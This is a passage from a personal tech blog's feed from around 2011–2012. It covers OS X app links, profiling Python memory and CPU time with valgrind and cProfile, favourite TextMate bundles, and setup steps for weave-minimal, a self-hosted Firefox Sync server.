class="caps">OS</span> X Erst-Installation und dem Müll, der jetzt drauf ist. Äußerst&nbsp;praktisch.</li> <li><a href="http://blog.hep-cat.de/?p=5478">Vom <span class="caps">OS</span> X zum SheevaPlug</a> – inklusive Kommentar von einem Projekt mit quelloffenen&nbsp;Treibern.</li> <li><a href="http://peippo.eu/musorg/">Musorg</a> – <span class="caps">OS</span> X <span class="caps">MP3</span> Tag Editor (GPLv2), nicht wirklich fertig, dafür immerhin was <span class="caps">OS</span>&nbsp;X-natives.</li> <li><a href="http://www.celmaro.com/tubbler/">YouTube Player Client for <span class="caps">OS</span> X</a> – ressourcensparend YouTube gucken, noch&nbsp;kostenlos.</li> <li><a href="http://flavio.tordini.org/musique">Musique</a> – ehemals MiniTunes, verfügbar für Windows, Linux und Mac <span class="caps">OS</span> X, <span class="caps"><abbr title="GNU General Public License">GPL</abbr></span> und ohne <a href="http://cdn.last.fm/blog/posts/april12/poster_boy.jpg">AudioScrobbler-Support</a>!</li> <li><a href="http://www.pixiapps.com/ecoute/">Ecoute 3</a> – Standalone player based on your iTunes&nbsp;library.</li> </ul> Mon, 02 Jan 2012 18:11:00 GMT tag:blog.posativ.org,2012-01-02:/2012/linkschleuder-11 Profiling Memory and CPU Time of Python Programs on OS X http://blog.posativ.org/2011/profiling-memory-and-cpu-time-of-python-programs-on-os-x/ <p>As a result of my last performance improvements to <a href="https://github.com/posativ/acrylamid">acrylamid</a> I was not able anymore to measure the memory used via <em>Activity Monitor</em>. I can measure cpu time in many different ways using <code>time</code> or python&#8217;s neat <code>-m cProfile -s cumulative</code> argument in front of my real program call, but I don&#8217;t know any way to measure memory of fast ending&nbsp;applications.</p> <h3>Memory&nbsp;Profiling</h3> <p>The first fact I found is that python has no capabilities of profiling and <span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span>&#8217;s version of <code>time</code> had no memory statistics support (seems, linux version can do this). But there&#8217;s an App&#8230; erm tool for that: <a href="http://valgrind.org/">valgrind</a>. Using it with <span class="caps">OS</span> X&#8217; default python produces a lot of output and will slow down code execution, therefore you have to call valgrind with a specific supression file using <a href="http://valgrind.org/docs/manual/ms-manual.html">Massif: a heap profiler</a> (or re-compile&nbsp;--without-pymalloc):</p> <div class="highlight"><pre><span class="gp">$</span>&gt; valgrind --tool<span class="o">=</span>massif --suppressions<span class="o">=</span>Misc/valgrind-python.supp <span class="se">\</span> <span class="go"> python ../acrylamid/bin/acrylamid gen</span> <span class="gp">$</span>&gt; ms_print massif.out.1928 &gt; out.txt </pre></div> <p>The latter produces a heap profile written to out.txt. <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span>/Linux seems to have a visualizer, <a href="http://kcachegrind.sourceforge.net/html/Home.htmls">KCacheGrind</a>, but <span class="caps">OS</span> X don&#8217;t. But there might be an application which claims to run on <span class="caps">OS</span> X as well: <a href="http://kde-apps.org/content/show.php?content=122409">Massif Visualizer</a>.</p> <div class="highlight"><pre>-------------------------------------------------------------------------------- Command: python ../acrylamid/bin/acrylamid gen Massif arguments: (none) ms_print arguments: massif.out.1928 -------------------------------------------------------------------------------- MB 38.53^ : | # : | @#:: | @ @ ::@@@@#:: ::@: | @: @ : :::@@@@#::::::@::::::@: | @@:::::@:::@::@@::@::@@::::::@@@@#::::::@::::::@: | ::::::@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | @ :: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | @:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@: 0 +-----------------------------------------------------------------------&gt;Gi 0 40.63 Number of snapshots: 86 Detailed snapshots: [2, 6, 8, 16, 23, 29, 33, 36, 39, 42, 48, 49, 50, 51, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63 (peak), 73, 83] </pre></div> <h3><span class="caps">CPU</span>&nbsp;Time</h3> <p>To complete this overview article, here are the parameters to measure <span class="caps">CPU</span> usage from an earlier version of acrylamid (doing&nbsp;nothing):</p> <div class="highlight"><pre>$&gt; acrylamid --version 0.1.11-dev $&gt; python -m cProfile -s cumulative ../bin/acrylamid gen | less 392661 function calls (382947 primitive calls) in 0.684 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.685 0.685 acrylamid:7(&lt;module&gt;) 1 0.000 0.000 0.648 0.648 __init__.py:44(__init__) 1 0.001 0.001 0.647 0.647 __init__.py:177(run) 1 0.000 0.000 0.559 0.559 __init__.py:135(initialize) 1 0.000 0.000 0.514 0.514 __init__.py:35(initialize) 8 0.000 0.000 0.277 0.035 __init__.py:19(index_filters) 1 0.000 0.000 0.270 0.270 hyphenation.py:191(__init__) 1 0.000 0.000 0.270 0.270 hyphenation.py:150(build) 1 0.010 0.010 0.269 0.269 hyphenation.py:34(__init__) 14263 0.130 0.000 0.257 0.000 hyphenation.py:45(_insert_pattern) 25/23 0.004 0.000 0.244 0.011 {__import__} 28848 0.031 0.000 0.201 0.000 re.py:228(_compile) 1 0.003 0.003 0.191 0.191 rst.py:7(&lt;module&gt;) 248 0.000 0.000 0.161 0.001 re.py:188(compile) 174 0.001 0.000 0.161 0.001 sre_compile.py:495(compile) 5 0.001 0.000 0.156 0.031 __init__.py:10(&lt;module&gt;) 1 0.002 0.002 0.096 0.096 __init__.py:68(&lt;module&gt;) 1 0.003 0.003 0.090 0.090 states.py:101(&lt;module&gt;) 174 0.000 0.000 0.085 0.000 sre_compile.py:480(_code) </pre></div> <p>With some optimization acrylamid 0.2.1 is now about 4 times faster (685ms versus 140ms), just by lazy evaluate hyphenation patterns and docutils import. You can also pass ncalls, tottime, percall and so on instead of cumtime, see python&#8217;s <a href="http://docs.python.org/library/profile.html#pstats.Stats.sort_stats">profile</a> for all sort&nbsp;keys.</p> <div class="highlight"><pre>$&gt; acrylamid --version 0.2.1 $&gt; python -m cProfile -s cumulative ../bin/acrylamid gen | less 81785 function calls (78036 primitive calls) in 0.140 seconds Ordered by: cumulative time ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.141 0.141 acrylamid:7(&lt;module&gt;) 1 0.000 0.000 0.103 0.103 __init__.py:45(__init__) 1 0.000 0.000 0.101 0.101 __init__.py:197(run) 1 0.000 0.000 0.098 0.098 __init__.py:143(initialize) 1 0.000 0.000 0.051 0.051 __init__.py:36(initialize) 17 0.003 0.000 0.051 0.003 {__import__} 1 0.000 0.000 0.046 0.046 __init__.py:38(initialize) 5 0.000 0.000 0.045 0.009 __init__.py:22(index_views) 5 0.000 0.000 0.043 0.009 environment.py:763(from_string) 5 0.000 0.000 0.043 0.009 environment.py:453(compile) 1 0.003 0.003 0.038 0.038 __init__.py:20(&lt;module&gt;) 73 0.000 0.000 0.035 0.000 re.py:188(compile) 73 0.001 0.000 0.035 0.000 re.py:228(_compile) 67 0.000 0.000 0.034 0.001 sre_compile.py:495(compile) 1 0.001 0.001 0.023 0.023 __init__.py:28(&lt;module&gt;) 5 0.000 0.000 0.023 0.005 environment.py:396(_parse) 1 0.000 0.000 0.022 0.022 md.py:7(&lt;module&gt;) 1 0.001 0.001 0.021 0.021 __init__.py:31(&lt;module&gt;) 1 0.002 0.002 0.021 0.021 hyphenation.py:4(&lt;module&gt;) </pre></div> Wed, 28 Dec 2011 21:10:00 GMT tag:blog.posativ.org,2011-12-28:/2011/profiling-memory-and-cpu-time-of-python-programs-on-os-x TextMate http://blog.posativ.org/2011/textmate/ <p>Bevor ich so langsam zum <a href="http://www.sublimetext.com/2">Sublime Text</a> Editor wechseln werde (es sei denn, <a href="http://net.tutsplus.com/tutorials/tools-and-tips/essential-textmate-shortcuts-tips-and-techniques/">Version 2</a> bringt es), noch einmal kurz meine Lieblings-Bundles, sprich Macros, Themes und&nbsp;Snippets.</p> <ul> <li><a href="http://net.tutsplus.com/tutorials/tools-and-tips/essential-textmate-shortcuts-tips-and-techniques/">Essential TextMate Shortcuts, Tips and&nbsp;Techniques</a></li> <li><a href="http://ethanschoonover.com/solarized">Solarized (light) Theme</a> – the one and only one. Gibt nichts&nbsp;besseres.</li> </ul> <h3>Bundles</h3> <ul> <li><a href="https://github.com/foxostro/x86-assembly-textmate-bundle/tree/master/x86%20Assembly.tmbundle/">x86 Assembler</a> – Intel86 Syntax&nbsp;Highlighting!1</li> <li><a href="https://github.com/textmate/lilypond.tmbundle">lilypond</a></li> <li><a href="http://www.governatori.net/TextMate/index.html">LaTeXExtension</a> – mit $O[Ausrufezeichen]$ -&gt; $\Omega$ und&nbsp;so</li> <li><a href="https://github.com/textmate/restructuredtext.tmbundle">reStructuredText</a></li> <li><a href="https://github.com/seaofclouds/sass-textmate-bundle"><span class="caps">SASS</span></a></li> <li><a href="https://github.com/mitsuhiko/jinja2/blob/master/ext/JinjaTemplates.tmbundle.tar.gz">Jinja2&nbsp;Templating</a></li> <li><a href="https://github.com/ppierre/python-pep8-tmbundle">Python <span class="caps">PEP</span>&nbsp;8</a></li> <li><a href="https://github.com/dcramer/python-tools-tmbundle">Python Tools</a> – ⌘+S mit Syntax&nbsp;Validierung</li> </ul> <p>Installiert wird das alles nach <code>~/Library/Application Support/TextMate/</code>.</p> Sun, 18 Dec 2011 17:02:00 GMT tag:blog.posativ.org,2011-12-18:/2011/textmate weave-minimal – a Firefox Sync full-server fork http://blog.posativ.org/2011/weave-minimal-a-firefox-sync-full-server-fork/ <p>The first time I tried to get a custom Firefox Sync server running, I used <a href="https://hg.mozilla.org/services/server-full/"><code>server-full</code></a> and even though I know python (the server is written in python), the configuration was highly difficult. There&#8217;s no click <span class="amp">&amp;</span> install. You have to choose between Redis, MySQL, PostgreSQL and Sqlite3. For most people, sqlite3 is quite fine. Sqlite and sync-server config files have summed up almost 80 LoC. And you still don&#8217;t know how to authenticate unless you have already a <span class="caps">LDAP</span> server&nbsp;running.</p> <p>There are some alternatives: <a href="https://github.com/tolumak/ffpyweave">ffpyweave</a>, <a href="https://github.com/jedie/django-sync-server/">django sync server</a> and formerly <a href="http://ymartin59.free.fr/wordpress/index.php/2011/03/05/my-own-firefox-sync-weave-server/">weave-minimal</a> too, written in <span class="caps">PHP</span> but not supported anymore. But I&#8217;ve forked the official <a href="https://hg.mozilla.org/services/server-full/"><code>server-full</code></a> (well I completely rewrote) to a more easier installation without multiple backends but completely relying on a simple sqlite&nbsp;database.</p> <h3>Requirements</h3> <ul> <li>a web server with proxy or FastCGI/<span class="caps"><abbr title="Web Server Gateway Interface">WSGI</abbr></span>&nbsp;support</li> <li>python runtime (&gt;=&nbsp;2.5)</li> <li>shell&nbsp;access</li> </ul> <h3>Installation</h3> <div class="highlight"><pre><span class="nv">$ </span>easy_install -U werkzeug </pre></div> <p>&nbsp;</p> <div class="highlight"><pre><span class="nv">$ </span>wget https://github.com/posativ/weave-minimal/tarball/master -O weave-minimal.tar.gz <span class="nv">$ </span>tar xfz weave-minimal.tar.gz <span class="nv">$ </span><span class="nb">cd </span>posativ-weave-minimal </pre></div> <h3>Usage</h3> <p>Currently, Firefox does not you create a user account on your own server. I <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=708256">filed a bug</a> in a week ago. Therefore you need to set up every account&nbsp;manually:</p> <div class="highlight"><pre><span class="nv">$ </span>./weave.py --register myname:mypassword <span class="o">[</span>info<span class="o">]</span> database <span class="k">for</span> <span class="sb">`</span>myname<span class="sb">`</span> created at <span class="sb">`</span>.data/myname.91dfd9ddb4198aff<span class="sb">`</span> <span class="nv">$ </span>./weave.py -p 8080 </pre></div> <p><em>Please note that only alpha-numerical characters are&nbsp;allowed!</em></p> <p>The last command launches weave.py on port 8080. You can now configure mod_proxy in your webserver of choice or you some mod_fastcgi magic. See <a href="https://github.com/posativ/weave-minimal"><span class="caps">README</span>.md</a> for an example&nbsp;configuration.</p> <p>For the Firefox Sync Setup see in <a href="https://github.com/posativ/weave-minimal"><span class="caps">README</span>.md</a>,&nbsp;too.</p> <h3>Hints</h3> <ul> <li>using an <span class="caps">SSL</span>-encrypted server is recommended but not&nbsp;required</li> <li>Firefox never transmits browser data unencrypted, just your username/password are sent base64-encoded over the air (<span class="caps">HTTP</span> Basic&nbsp;Authentication).</li> <li>you can have multiple user per weave-minimal&nbsp;instance</li> <li>the user password is stored <span class="caps">SHA1</span>-hashed (first 16 characters) into the database filename <code>name.91dfd9ddb4198aff</code>.</li> <li>in case your web server sucks and does not send <code>HTTP_X_SCRIPT_NAME</code>, start <code>weave.py</code> with <code>--prefix=/url/prefix</code>.</li> </ul> Sun, 18 Dec 2011 16:35:00 GMT tag:blog.posativ.org,2011-12-18:/2011/weave-minimal-a-firefox-sync-full-server-fork